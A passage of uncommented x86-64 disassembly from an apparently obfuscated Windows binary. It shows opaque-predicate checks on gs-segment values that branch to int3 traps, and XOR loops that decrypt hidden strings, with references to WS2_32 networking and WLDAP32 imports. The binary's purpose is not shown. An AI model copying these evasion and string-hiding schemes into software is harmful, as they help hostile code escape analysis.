xor rdi, rax
add rcx, r14
sub r9, r14
jne 0x14005b202
xor rdi, r11
imul rcx, rdi, 0x6e639f32
movabs rax, 0x37b488b43a9ceb5d
imul rcx
sar rdx, 0x1d
mov rax, rdx
shr rax, 0x3f
add rdx, rax
imul rdx, r11
sub rcx, rdx
xor rdi, r8
mov qword [rbp + 0xd10], rdi
mov rax, r8
mov edx, 0xdeadbeef
or rax, rdx
xor rax, rcx
mov qword [rbp + 0xd18], rax
xor rcx, r10
or rcx, r8
xor rcx, r8
xor rcx, 0xbadf00d
mov qword [rbp + 0xd20], rcx
mov edi, ebx
lea ecx, [rdi + 0x7dfe5890]
mov eax, 0x2aaaaaab
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
lea eax, [rdx + rdx*2]
shl eax, 5
sub ecx, eax
mov rdx, qword gs:[rcx]
mov rax, qword [rbp + 0xd20]
and rdx, rax
mov rcx, qword [rbp + 0xd18]
and rcx, rdx
mov rax, qword [rbp + 0xd10]
and rax, rcx
mov qword [rsp + 0x60], rax
imul ecx, edi, 0xbaadf00d
mov rax, qword [rsp + 0x60]
cmp rax, rcx
je 0x14005b6a0
add edi, r14d
cmp edi, 7
jl 0x14005b292
mov eax, 0x20b
cmp word [r13 + 0x18], ax
je 0x14005b6c1
mov rax, qword gs:[0x3f]
cmp rax, r10
jne 0x14005b417
mov rdi, rbx
mov rcx, r14
mov r9d, 5
mov eax, 0x6e639f32
cqo
idiv rcx
imul rax, rdx, 0x7dfe5890
add rdi, rax
mov r8, qword gs:[0x50]
movzx eax, dil
xor r8, rax
add rcx, r14
sub r9, r14
jne 0x14005b322
xor r8, r11
imul rcx, r8, 0x6e639f32
movabs rax, 0x37b488b43a9ceb5d
imul rcx
sar rdx, 0x1d
mov rax, rdx
shr rax, 0x3f
add rdx, rax
imul rdx, r11
sub rcx, rdx
mov rax, rdi
xor rax, r8
mov qword [rbp + 0xd10], rax
mov rax, rdi
mov edx, 0xdeadbeef
or rax, rdx
xor rax, rcx
mov qword [rbp + 0xd18], rax
xor rcx, r10
or rcx, rdi
xor rcx, rdi
xor rcx, 0xbadf00d
mov qword [rbp + 0xd20], rcx
mov edi, ebx
lea ecx, [rdi + 0x7dfe5890]
mov eax, 0x2aaaaaab
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
lea eax, [rdx + rdx*2]
shl eax, 5
sub ecx, eax
mov rdx, qword gs:[rcx]
mov rax, qword [rbp + 0xd20]
and rdx, rax
mov rcx, qword [rbp + 0xd18]
and rcx, rdx
mov rax, qword [rbp + 0xd10]
and rax, rcx
mov qword [rsp + 0x60], rax
imul ecx, edi, 0xbaadf00d
mov rax, qword [rsp + 0x60]
cmp rax, rcx
je 0x14005b6ab
add edi, r14d
cmp edi, 7
jl 0x14005b3b5
movdqa xmm0, xmmword [0x140123490]
movdqu xmmword [rbp + 0xac8], xmm0
movdqa xmm1, xmmword [0x140123460]
movdqu xmmword [rbp + 0xad8], xmm1
movdqa xmm0, xmmword [0x140123510]
movdqu xmmword [rbp + 0xae8], xmm0
mov byte [rbp + 0xaf8], __WSAFDIsSet
mov byte [rbp + 0xaf9], WSACleanup
mov byte [rbp + 0xafa], Ordinal_143
mov byte [rbp + 0xafb], Ordinal_143
mov byte [rbp + 0xafc], pe_nt_image_headers64
mov byte [rbp + 0xafd], 0x90
mov byte [rbp + 0xafe], 0xdf
mov byte [rbp + 0xaff], 0xaf
mov byte [rbp + 0xb00], 2
mov byte [rbp + 0xb01], 8
mov byte [rbp + 0xb02], 0xb6
mov byte [rbp + 0xb03], 0xb9
mov byte [rbp + 0xb04], 0xc1
xor eax, eax
mov byte [rbp + 0xb05], al
mov r8, rbx
lea r9d, [rax + 0x3d]
movabs r10, 0x8080808080808081
movabs r13, 0x1110daaf0
movabs r15, 0x1110daaef
mov cl, r8b
and cl, 7
shl cl, 3
mov rdi, r15
shr rdi, cl
mov rax, r10
mul r9
shr rdx, 7
imul rax, rdx, 0xff
mov rcx, r9
sub rcx, rax
xor dil, cl
mov rax, r10
mul r12
shr rdx, 7
imul rax, rdx, 0xff
mov rcx, r12
sub rcx, rax
xor dil, cl
xor dil, byte [rbp + r8 + 0xac8]
xor dil, r8b
mov byte [rbp + r8 + 0xac8], dil
add r8, r14
add r12, r13
add r9, 0x3d
cmp r12, rsi
jb 0x14005b4cf
mov byte [rbp + 0xb05], bl
mov r8d, r14d
xor edx, edx
lea rcx, [rbp + 0xac8]
call fcn.140051d44
mov rax, qword gs:[0x3f]
mov r12d, 0x7dfe5890
cmp rax, r12
mov r15d, 0xfd6ccd6d
mov r11d, 0x930f525f
jne 0x14005b6cd
mov edi, r15d
mov r8, rbx
mov r9d, ebx
mov r13d, 0xfeefbfff
mov rdx, r11
mov ecx, r9d
sar rdx, cl
mov rax, r12
shl rax, cl
or rdx, rax
xor rdi, rdx
lea ecx, [r9 + 0x7dfe5890]
mov eax, 0x2aaaaaab
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
lea eax, [rdx + rdx*2]
shl eax, 5
sub ecx, eax
mov rcx, qword gs:[rcx]
mov rax, rdi
and rax, r13
xor rcx, rax
add r8, rcx
add r9d, r14d
cmp r9d, 8
jl 0x14005b57e
xor rdi, r8
mov rax, rdi
xor rax, r8
mov qword [rbp + 0xd10], rax
lea rcx, [rdi + 0x7dfe5890]
movabs rax, 0x2aaaaaaaaaaaaaab
imul rcx
sar rdx, 4
mov rax, rdx
shr rax, 0x3f
add rdx, rax
lea rax, [rdx + rdx*2]
shl rax, 5
sub rcx, rax
mov rax, qword gs:[rcx]
mov esi, 0xdeadbeef
or r8, rsi
xor rax, r8
mov ecx, 0x809295fd
xor rax, rcx
mov qword [rbp + 0xd18], rax
mov eax, 0x8b3f65f0
mov qword [rbp + 0xd20], rax
mov edi, ebx
lea ecx, [rdi + 0x7dfe5890]
mov eax, 0x2aaaaaab
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
lea eax, [rdx + rdx*2]
shl eax, 5
sub ecx, eax
mov rdx, qword gs:[rcx]
mov rax, qword [rbp + 0xd20]
xor rdx, rax
mov rcx, qword [rbp + 0xd18]
xor rcx, rdx
mov rax, qword [rbp + 0xd10]
xor rax, rcx
mov qword [rsp + 0x60], rax
imul ecx, edi, 0xcafebabe
mov rax, qword [rsp + 0x60]
cmp rax, rcx
je 0x14005b6b6
add edi, r14d
cmp edi, 5
jl 0x14005b635
jmp 0x14005b6cd
mov rcx, qword [rsp + 0x60]
call fcn.1400d8a48
int3
mov rcx, qword [rsp + 0x60]
call fcn.1400d8a48
int3
mov rcx, qword [rsp + 0x60]
call fcn.1400d8a48
int3
mov rcx, qword [rsp + 0x60]
call fcn.1400d8a48
int3
mov r12d, 0x7dfe5890
mov r11d, 0x930f525f
mov rax, qword gs:[0x3f]
cmp rax, r12
jne 0x14005b813
mov r9, r15
mov rdi, rbx
mov r8d, ebx
mov esi, 0xfeefbfff
mov r10d, 0x2aaaaaab
mov ecx, r8d
mov rdx, r12
shl rdx, cl
mov rax, r11
sar rax, cl
or rdx, rax
xor r9, rdx
lea ecx, [r8 + 0x7dfe5890]
mov eax, r10d
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
lea eax, [rdx + rdx*2]
shl eax, 5
sub ecx, eax
mov rcx, qword gs:[rcx]
mov rax, r9
and rax, rsi
xor rcx, rax
add rdi, rcx
add r8d, r14d
cmp r8d, 8
jl 0x14005b6f3
mov rcx, rdi
xor rcx, r9
mov rax, rcx
xor rax, rdi
mov qword [rbp + 0xd10], rax
add rcx, 0x7dfe5890
movabs rax, 0x2aaaaaaaaaaaaaab
imul rcx
sar rdx, 4
mov rax, rdx
shr rax, 0x3f
add rdx, rax
lea rax, [rdx + rdx*2]
shl rax, 5
sub rcx, rax
mov rcx, qword gs:[rcx]
mov rax, rdi
mov esi, 0xdeadbeef
or rax, rsi
xor rcx, rax
mov eax, 0x809295fd
xor rcx, rax
mov qword [rbp + 0xd18], rcx
xor edi, edi
mov eax, 0x8b3f65f0
xor rdi, rax
mov qword [rbp + 0xd20], rdi
mov edi, ebx
lea ecx, [rdi + 0x7dfe5890]
mov eax, r10d
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
lea eax, [rdx + rdx*2]
shl eax, 5
sub ecx, eax
mov rdx, qword gs:[rcx]
mov rax, qword [rbp + 0xd20]
xor rdx, rax
mov rcx, qword [rbp + 0xd18]
xor rcx, rdx
mov rax, qword [rbp + 0xd10]
xor rax, rcx
mov qword [rsp + 0x60], rax
imul ecx, edi, 0xcafebabe
mov rax, qword [rsp + 0x60]
cmp rax, rcx
je 0x14005bbdb
add edi, r14d
cmp edi, 5
jl 0x14005b7b3
mov edx, Ordinal_27
lea rcx, [rbp + 0xe98]
call fcn.1400688d8
lea rcx, [rbp - 0x78]
call fcn.1400039d0
mov qword [rsp + 0x60], rax
movdqa xmm0, xmmword [0x140123290]
movdqu xmmword [rbp + 0x7c0], xmm0
mov byte [rbp + 0x7d0], Ordinal_33
mov byte [rbp + 0x7d1], 0xde
mov byte [rbp + 0x7d2], reloc.WS2_32.dll_select
mov byte [rbp + 0x7d3], 0xb9
mov byte [rbp + 0x7d4], 0x62
mov byte [rbp + 0x7d5], reloc.WLDAP32.dll_Ordinal_217
mov byte [rbp + 0x7d6], reloc.WLDAP32.dll_Ordinal_33
mov byte [rbp + 0x7d7], reloc.WLDAP32.dll_Ordinal_27
mov byte [rbp + 0x7d8], r14b
mov byte [rbp + 0x7d9], Ordinal_211
mov byte [rbp + 0x7da], 0xcc
mov byte [rbp + 0x7db], 0xb7
mov byte [rbp + 0x7dc], 0x42
mov byte [rbp + 0x7dd], 0xf6
xor eax, eax
mov byte [rbp + 0x7de], al
mov r8, rbx
movabs rbx, 0x1110daaef
lea r10d, [rax + 0x1e]
movabs r9, 0x1fff9a0820
movabs r11, 0x8080808080808081
movabs r15, 0x1110daaf0
mov cl, r8b
and cl, 7
shl cl, 3
mov rdi, rbx
shr rdi, cl
mov rax, r11
mul r9
shr rdx, 7
imul rax, rdx, 0xff
mov rcx, r9
sub rcx, rax
xor dil, cl
mov rax, r11
mul r10
shr rdx, 7
imul rax, rdx, 0xff
mov rcx, r10
sub rcx, rax
xor dil, cl
xor dil, byte [rbp + r8 + 0x7c0]
xor dil, r8b
mov byte [rbp + r8 + 0x7c0], dil
add r8, r14
add r9, r15
add r10, 0x1e
movabs rax, 0x3fff341040
cmp r9, rax
jb 0x14005b8db
xor ebx, ebx
mov byte [rbp + 0x7de], bl
lea rax, [rbp + 0x7c0]
mov qword [rbp + 0x2a0], rax
movdqa xmm0, xmmword [0x140123360]
movdqu xmmword [rbp + 0x720], xmm0
lea eax, [rbx + 3]
mov byte [rbp + 0x730], al
mov byte [rbp + 0x731], 0x77
mov byte [rbp + 0x732], 0xfc
mov byte [rbp + 0x733], Ordinal_211
mov byte [rbp + 0x734], 9
mov byte [rbp + 0x735], Ordinal_50
mov byte [rbp + 0x736], 0xa7
mov byte [rbp + 0x737], 0xcb
mov byte [rbp + 0x738], 4
mov byte [rbp + 0x739], 0xe6
mov byte [rbp + 0x73a], r14b
xor eax, eax
mov byte [rbp + 0x73b], al
mov r8d, ebx
movabs rsi, 0x1110daaef
movabs r9, 0x1ccc710750
lea r10d, [rbx + 0x1b]
mov r15d, 0xfd6ccd6d
movabs r13, 0x1110daaf0
mov cl, r8b
and cl, 7
shl cl, 3
mov rdi, rsi
shr rdi, cl
mov rax, r11
mul r10
shr rdx, 7
imul rax, rdx, 0xff
mov rcx, r10
sub rcx, rax
xor dil, cl
mov rax, r11
mul r9
shr rdx, 7
imul rax, rdx, 0xff
mov rcx, r9
sub rcx, rax
xor dil, cl
xor dil, r8b
xor byte [rbp + r8 + 0x720], dil
add r8, r14
add r9, r13
add r10, 0x1b
movabs rax, 0x3998e20ea0
cmp r9, rax
jb 0x14005b9f2
mov byte [rbp + 0x73b], bl
lea rax, [rbp + 0x720]
mov qword [rbp + 0x2a8], rax
lea r8, [rbp + 0x2b0]
lea rdx, [rbp + 0x2a0]
lea rcx, [rbp + 0x2b0]
call fcn.140068df0
movups xmm0, xmmword [rax]
movdqu xmmword [rbp + 0x2c0], xmm0
mov r8, qword [rsp + 0x60]
lea rdx, [rbp + 0x2c0]
lea rcx, [rbp + 0xe98]
call fcn.140068e10
mov rax, qword gs:[0x3f]
mov esi, reloc.WS2_32.dll_recv
mov r10d, 0x2aaaaaab
cmp rax, r12
jne 0x14005bbf1
mov rdi, rbx
mov r8d, esi
movabs r13, 0x5684fef9ad4a0fe0
sub r8d, r14d
lea ecx, [r8 + 0x7dfe5890]
mov eax, r10d
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
lea eax, [rdx + rdx*2]
shl eax, 5
sub ecx, eax
mov rdx, qword gs:[rcx]
mov ecx, r8d
and ecx, 0x80000003
jge 0x14005bb10
sub ecx, r14d
or ecx, 0xfffffffc
add ecx, r14d
mov rax, r13
sar rax, cl
xor rdx, rax
xor rdi, rdx
test r8d, r8d
jne 0x14005bad7
mov rax, rdi
xor rax, rdi
xor rax, r12
mov qword [rbp + 0xd10], rax
mov rcx, rdi
or rcx, 0x6e639f32
mov rax, rdi
mov edx, 0xdeadbeef
or rax, rdx
xor rcx, rax
mov r11d, 0x930f525f
xor rcx, r11
mov qword [rbp + 0xd18], rcx
mov rax, rdi
not rax
and eax, 0x2018722
or rax, r12
xor rax, rdi
xor rax, 0xbadf00d
mov qword [rbp + 0xd20], rax
mov edi, ebx
lea ecx, [rdi + 0x7dfe5890]
mov eax, r10d
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
lea eax, [rdx + rdx*2]
shl eax, 5
sub ecx, eax
mov rdx, qword gs:[rcx]
mov rax, qword [rbp + 0xd20]
or rdx, rax
mov rcx, qword [rbp + 0xd18]
or rcx, rdx
mov rax, qword [rbp + 0xd10]
or rax, rcx
mov qword [rsp + 0x60], rax
imul ecx, edi, 0xfeedface
mov rax, qword [rsp + 0x60]
cmp rax, rcx
je 0x14005bbe6
add edi, r14d
mov eax, 0xa
cmp edi, eax
jl 0x14005bb79
jmp 0x14005bbf7
mov rcx, qword [rsp + 0x60]
call fcn.1400d8a48
int3
mov rcx, qword [rsp + 0x60]
call fcn.1400d8a48
int3
mov r11d, 0x930f525f
mov rax, qword gs:[0x3f]
cmp rax, r12
jne 0x14005bd35
mov r8, r15
mov rdi, rbx
mov r9d, ebx
mov r13d, 0xfeefbfff
mov rdx, r11
mov ecx, r9d
sar rdx, cl
mov rax, r12
shl rax, cl
or rdx, rax
xor r8, rdx
lea ecx, [r9 + 0x7dfe5890]
mov eax, r10d
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
lea eax, [rdx + rdx*2]
shl eax, 5
sub ecx, eax
mov rcx, qword gs:[rcx]
mov rax, r8
and rax, r13
xor rcx, rax
add rdi, rcx
add r9d, r14d
cmp r9d, 8
jl 0x14005bc18
xor r8, rdi
mov rax, rdi
xor rax, r8
mov qword [rbp + 0xd10], rax
lea rcx, [r8 + 0x7dfe5890]
movabs rax, 0x2aaaaaaaaaaaaaab
imul rcx
sar rdx, 4
mov rax, rdx
shr rax, 0x3f
add rdx, rax
lea rax, [rdx + rdx*2]
shl rax, 5
sub rcx, rax
mov rcx, qword gs:[rcx]
mov rax, rdi
mov edx, 0xdeadbeef
or rax, rdx
xor rcx, rax
mov eax, 0x809295fd
xor rcx, rax
mov qword [rbp + 0xd18], rcx
xor edi, edi
mov eax, 0x8b3f65f0
xor rdi, rax
mov qword [rbp + 0xd20], rdi
mov edi, ebx
lea ecx, [rdi + 0x7dfe5890]
mov eax, r10d
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
lea eax, [rdx + rdx*2]
shl eax, 5
sub ecx, eax
mov rdx, qword gs:[rcx]
mov rax, qword [rbp + 0xd20]
xor rdx, rax
mov rcx, qword [rbp + 0xd18]
xor rcx, rdx
mov rax, qword [rbp + 0xd10]
xor rax, rcx
mov qword [rsp + 0x60], rax
imul ecx, edi, 0xcafebabe
mov rax, qword [rsp + 0x60]
cmp rax, rcx
je 0x14005be70
add edi, r14d
cmp edi, 5
jl 0x14005bcd5
xor ecx, ecx
call fcn.1400039e8
mov rcx, rax
call fcn.1400d8a54
mov rax, qword gs:[0x3f]
mov r10d, 0x2aaaaaab
cmp rax, r12
jne 0x14005be86
mov rdi, rbx
mov r8d, esi
movabs r13, 0x5684fef9ad4a0fe0
sub r8d, r14d
lea ecx, [r8 + 0x7dfe5890]
mov eax, r10d
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
lea eax, [rdx + rdx*2]
shl eax, 5
sub ecx, eax
mov rdx, qword gs:[rcx]
mov ecx, r8d
and ecx, 0x80000003
jge 0x14005bda5
sub ecx, r14d
or ecx, 0xfffffffc
add ecx, r14d
mov rax, r13
sar rax, cl
xor rdx, rax
xor rdi, rdx
test r8d, r8d
jne 0x14005bd6c
mov rax, rdi
xor rax, rdi
xor rax, r12
mov qword [rbp + 0xd10], rax
mov rcx, rdi
mov r9d, 0xdeadbeef
or rcx, r9
mov rax, rdi
or rax, 0x6e639f32
xor rcx, rax
mov r11d, 0x930f525f
xor rcx, r11
mov qword [rbp + 0xd18], rcx
mov rax, rdi
not rax
and eax, 0x2018722
or rax, r12
xor rax, rdi
xor rax, 0xbadf00d
mov qword [rbp + 0xd20], rax
mov edi, ebx
lea ecx, [rdi + 0x7dfe5890]
mov eax, r10d
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
lea eax, [rdx + rdx*2]
shl eax, 5
sub ecx, eax
mov rdx, qword gs:[rcx]
mov rax, qword [rbp + 0xd20]
or rdx, rax
mov rcx, qword [rbp + 0xd18]
or rcx, rdx
mov rax, qword [rbp + 0xd10]
or rax, rcx
mov qword [rsp + 0x60], rax
imul ecx, edi, 0xfeedface
mov rax, qword [rsp + 0x60]
cmp rax, rcx
je 0x14005be7b
add edi, r14d
mov eax, 0xa
cmp edi, eax
jl 0x14005be0e
jmp 0x14005be92
mov rcx, qword [rsp + 0x60]
call fcn.1400d8a48
int3
mov rcx, qword [rsp + 0x60]
call fcn.1400d8a48
int3
mov r11d, 0x930f525f
mov r9d, 0xdeadbeef
mov rax, qword gs:[0x3f]
cmp rax, r12
jne 0x14005bfb4
mov rdi, rbx
mov r8d, esi
movabs r11, 0x5684fef9ad4a0fe0
sub r8d, r14d
lea ecx, [r8 + 0x7dfe5890]
mov eax, r10d
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
lea eax, [rdx + rdx*2]
shl eax, 5
sub ecx, eax
mov rdx, qword gs:[rcx]
mov ecx, r8d
and ecx, 0x80000003
jge 0x14005beed
sub ecx, r14d
or ecx, 0xfffffffc
add ecx, r14d
mov rax, r11
sar rax, cl
xor rdx, rax
xor rdi, rdx
test r8d, r8d
jne 0x14005beb4
mov rax, rdi
xor rax, rdi
xor rax, r12
mov qword [rbp + 0xd10], rax
mov rcx, rdi
or rcx, r9
mov rax, rdi
or rax, 0x6e639f32
xor rcx, rax
mov r11d, 0x930f525f
xor rcx, r11
mov qword [rbp + 0xd18], rcx
mov rax, rdi
not rax
and eax, 0x2018722
or rax, r12
xor rax, rdi
xor rax, 0xbadf00d
mov qword [rbp + 0xd20], rax
mov edi, ebx
lea ecx, [rdi + 0x7dfe5890]
mov eax, r10d
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
lea eax, [rdx + rdx*2]
shl eax, 5
sub ecx, eax
mov rdx, qword gs:[rcx]
mov rax, qword [rbp + 0xd20]
or rdx, rax
mov rcx, qword [rbp + 0xd18]
or rcx, rdx
mov rax, qword [rbp + 0xd10]
or rax, rcx
mov qword [rsp + 0x60], rax
imul ecx, edi, 0xfeedface
mov rax, qword [rsp + 0x60]
cmp rax, rcx
je 0x14005c57b
add edi, r14d
mov eax, 0xa
cmp edi, eax
jl 0x14005bf50
mov rax, qword gs:[0x3f]
cmp rax, r12
jne 0x14005c0d7
mov rdi, rbx
mov r8d, esi
movabs r11, 0x5684fef9ad4a0fe0
sub r8d, r14d
lea ecx, [r8 + 0x7dfe5890]
mov eax, r10d
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
lea eax, [rdx + rdx*2]
shl eax, 5
sub ecx, eax
mov rdx, qword gs:[rcx]
mov ecx, r8d
and ecx, 0x80000003
jge 0x14005c00f
sub ecx, r14d
or ecx, 0xfffffffc
add ecx, r14d
mov rax, r11
sar rax, cl
xor rdx, rax
xor rdi, rdx
test r8d, r8d
jne 0x14005bfd6
mov rax, rdi
xor rax, rdi
xor rax, r12
mov qword [rbp + 0xd10], rax
mov rcx, rdi
or rcx, 0x6e639f32
mov rax, rdi
or rax, r9
xor rcx, rax
mov r11d, 0x930f525f
xor rcx, r11
mov qword [rbp + 0xd18], rcx
mov rax, rdi
not rax
and eax, 0x2018722
or rax, r12
xor rax, rdi
xor rax, 0xbadf00d
mov qword [rbp + 0xd20], rax
mov edi, ebx
lea ecx, [rdi + 0x7dfe5890]
mov eax, r10d
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
lea eax, [rdx + rdx*2]
shl eax, 5
sub ecx, eax
mov rdx, qword gs:[rcx]
mov rax, qword [rbp + 0xd20]
or rdx, rax
mov rcx, qword [rbp + 0xd18]
or rcx, rdx
mov rax, qword [rbp + 0xd10]
or rax, rcx
mov qword [rsp + 0x60], rax
imul ecx, edi, 0xfeedface
mov rax, qword [rsp + 0x60]
cmp rax, rcx
je 0x14005c586
add edi, r14d
mov eax, 0xa
cmp edi, eax
jl 0x14005c073
mov rax, qword gs:[0x3f]
cmp rax, r12
jne 0x14005c1e8
mov rdi, rbx
mov rcx, r14
mov r9d, 5
mov eax, 0x6e639f32
cqo
idiv rcx
imul rax, rdx, 0x7dfe5890
add rdi, rax
mov r8, qword gs:[0x50]
movzx eax, dil
xor r8, rax
add rcx, r14
sub r9, r14
jne 0x14005c0f5
xor r8, r11
imul rcx, r8, 0x6e639f32
movabs rax, 0x37b488b43a9ceb5d
imul rcx
sar rdx, 0x1d
mov rax, rdx
shr rax, 0x3f
add rdx, rax
imul rdx, r11
sub rcx, rdx
mov rax, rdi
xor rax, r8
mov qword [rbp + 0xd10], rax
mov rax, rdi
mov edx, 0xdeadbeef
or rax, rdx
xor rax, rcx
mov qword [rbp + 0xd18], rax
xor rcx, r12
or rcx, rdi
xor rcx, rdi
xor rcx, 0xbadf00d
mov qword [rbp + 0xd20], rcx
mov edi, ebx
lea ecx, [rdi + 0x7dfe5890]
mov eax, r10d
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
lea eax, [rdx + rdx*2]
shl eax, 5
sub ecx, eax
mov rdx, qword gs:[rcx]
mov rax, qword [rbp + 0xd20]
and rdx, rax
mov rcx, qword [rbp + 0xd18]
and rcx, rdx
mov rax, qword [rbp + 0xd10]
and rax, rcx
mov qword [rsp + 0x60], rax
imul ecx, edi, 0xbaadf00d
mov rax, qword [rsp + 0x60]
cmp rax, rcx
je 0x14005c591
add edi, r14d
cmp edi, 7
jl 0x14005c188
mov rax, qword gs:[0x3f]
cmp rax, r12
jne 0x14005c2f6
mov r8, rbx
mov rcx, r14
mov r9d, 5
mov eax, 0x6e639f32
cqo
idiv rcx
imul rax, rdx, 0x7dfe5890
add r8, rax
mov rdi, qword gs:[0x50]
movzx eax, r8b
xor rdi, rax
add rcx, r14
sub r9, r14
jne 0x14005c206
xor rdi, r11
imul rcx, rdi, 0x6e639f32
movabs rax, 0x37b488b43a9ceb5d
imul rcx
sar rdx, 0x1d
mov rax, rdx
shr rax, 0x3f
add rdx, rax
imul rdx, r11
sub rcx, rdx
xor rdi, r8
mov qword [rbp + 0xd10], rdi
mov rax, r8
mov edx, 0xdeadbeef
or rax, rdx
xor rax, rcx
mov qword [rbp + 0xd18], rax
xor rcx, r12
or rcx, r8
xor rcx, r8
xor rcx, 0xbadf00d
mov qword [rbp + 0xd20], rcx
mov edi, ebx
lea ecx, [rdi + 0x7dfe5890]
mov eax, r10d
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
lea eax, [rdx + rdx*2]
shl eax, 5
sub ecx, eax
mov rdx, qword gs:[rcx]
mov rax, qword [rbp + 0xd20]
and rdx, rax
mov rcx, qword [rbp + 0xd18]
and rcx, rdx
mov rax, qword [rbp + 0xd10]
and rax, rcx
mov qword [rsp + 0x60], rax
imul ecx, edi, 0xbaadf00d
mov rax, qword [rsp + 0x60]
cmp rax, rcx
je 0x14005c59c
add edi, r14d
cmp edi, 7
jl 0x14005c296
mov rax, qword gs:[0x3f]
cmp rax, r12
jne 0x14005c434
mov r8, r15
mov rdi, rbx
mov r9d, ebx
mov r13d, 0xfeefbfff
mov rdx, r11
mov ecx, r9d
sar rdx, cl
mov rax, r12
shl rax, cl
or rdx, rax
xor r8, rdx
lea ecx, [r9 + 0x7dfe5890]
mov eax, r10d
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
lea eax, [rdx + rdx*2]
shl eax, 5
sub ecx, eax
mov rcx, qword gs:[rcx]
mov rax, r8
and rax, r13
xor rcx, rax
add rdi, rcx
add r9d, r14d
cmp r9d, 8
jl 0x14005c317
xor r8, rdi
mov rax, rdi
xor rax, r8
mov qword [rbp + 0xd10], rax
lea rcx, [r8 + 0x7dfe5890]
movabs rax, 0x2aaaaaaaaaaaaaab
imul rcx
sar rdx, 4
mov rax, rdx
shr rax, 0x3f
add rdx, rax
lea rax, [rdx + rdx*2]
shl rax, 5
sub rcx, rax
mov rcx, qword gs:[rcx]
mov rax, rdi
mov edx, 0xdeadbeef
or rax, rdx
xor rcx, rax
mov eax, 0x809295fd
xor rcx, rax
mov qword [rbp + 0xd18], rcx
xor edi, edi
mov eax, 0x8b3f65f0
xor rdi, rax
mov qword [rbp + 0xd20], rdi
mov edi, ebx
lea ecx, [rdi + 0x7dfe5890]
mov eax, r10d
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
lea eax, [rdx + rdx*2]
shl eax, 5
sub ecx, eax
mov rdx, qword gs:[rcx]
mov rax, qword [rbp + 0xd20]
xor rdx, rax
mov rcx, qword [rbp + 0xd18]
xor rcx, rdx
mov rax, qword [rbp + 0xd10]
xor rax, rcx
mov qword [rsp + 0x60], rax
imul ecx, edi, 0xcafebabe
mov rax, qword [rsp + 0x60]
cmp rax, rcx
je 0x14005c5a7
add edi, r14d
cmp edi, 5
jl 0x14005c3d4
lea rcx, [rbp + 0xd30]
call fcn.1400039f0
mov edx, eax
lea rcx, [rbp + 0x1bee0]
call fcn.1400692dc
mov rax, qword gs:[0x3f]
mov r10d, 0x2aaaaaab
cmp rax, r12
jne 0x14005c5bd
mov rdi, rbx
mov r8d, esi
movabs r13, 0x5684fef9ad4a0fe0
sub r8d, r14d
lea ecx, [r8 + 0x7dfe5890]
mov eax, r10d
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
lea eax, [rdx + rdx*2]
shl eax, 5
sub ecx, eax
mov rdx, qword gs:[rcx]
mov ecx, r8d
and ecx, 0x80000003
jge 0x14005c4af
sub ecx, r14d
or ecx, 0xfffffffc
add ecx, r14d
mov rax, r13
sar rax, cl
xor rdx, rax
xor rdi, rdx
test r8d, r8d
jne 0x14005c476
mov rax, rdi
xor rax, rdi
xor rax, r12
mov qword [rbp + 0xd10], rax
mov rcx, rdi
or rcx, 0x6e639f32
mov rax, rdi
mov r9d, 0xdeadbeef
or rax, r9
xor rcx, rax
mov r11d, 0x930f525f
xor rcx, r11
mov qword [rbp + 0xd18], rcx
mov rax, rdi
not rax
and eax, 0x2018722
or rax, r12
xor rax, rdi
xor rax, 0xbadf00d
mov qword [rbp + 0xd20], rax
mov edi, ebx
lea ecx, [rdi + 0x7dfe5890]
mov eax, r10d
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
lea eax, [rdx + rdx*2]
shl eax, 5
sub ecx, eax
mov rdx, qword gs:[rcx]
mov rax, qword [rbp + 0xd20]
or rdx, rax
mov rcx, qword [rbp + 0xd18]
or rcx, rdx
mov rax, qword [rbp + 0xd10]
or rax, rcx
mov qword [rsp + 0x60], rax
imul ecx, edi, 0xfeedface
mov rax, qword [rsp + 0x60]
cmp rax, rcx
je 0x14005c5b2
add edi, r14d
mov eax, 0xa
cmp edi, eax
jl 0x14005c519
jmp 0x14005c5c9
mov rcx, qword [rsp + 0x60]
call fcn.1400d8a48
int3
mov rcx, qword [rsp + 0x60]
call fcn.1400d8a48
int3
mov rcx, qword [rsp + 0x60]
call fcn.1400d8a48
int3
mov rcx, qword [rsp + 0x60]
call fcn.1400d8a48
int3
mov rcx, qword [rsp + 0x60]
call fcn.1400d8a48
int3
mov rcx, qword [rsp + 0x60]
call fcn.1400d8a48
int3
mov r11d, 0x930f525f
mov r9d, 0xdeadbeef
mov rax, qword gs:[0x3f]
cmp rax, r12
jne 0x14005c70b
mov r9, r15
mov rdi, rbx
mov r8d, ebx
mov r13d, 0xfeefbfff
mov rdx, r11
mov ecx, r8d
sar rdx, cl
mov rax, r12
shl rax, cl
or rdx, rax
xor r9, rdx
lea ecx, [r8 + 0x7dfe5890]
mov eax, r10d
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
lea eax, [rdx + rdx*2]
shl eax, 5
sub ecx, eax
mov rcx, qword gs:[rcx]
mov rax, r9
and rax, r13
xor rcx, rax
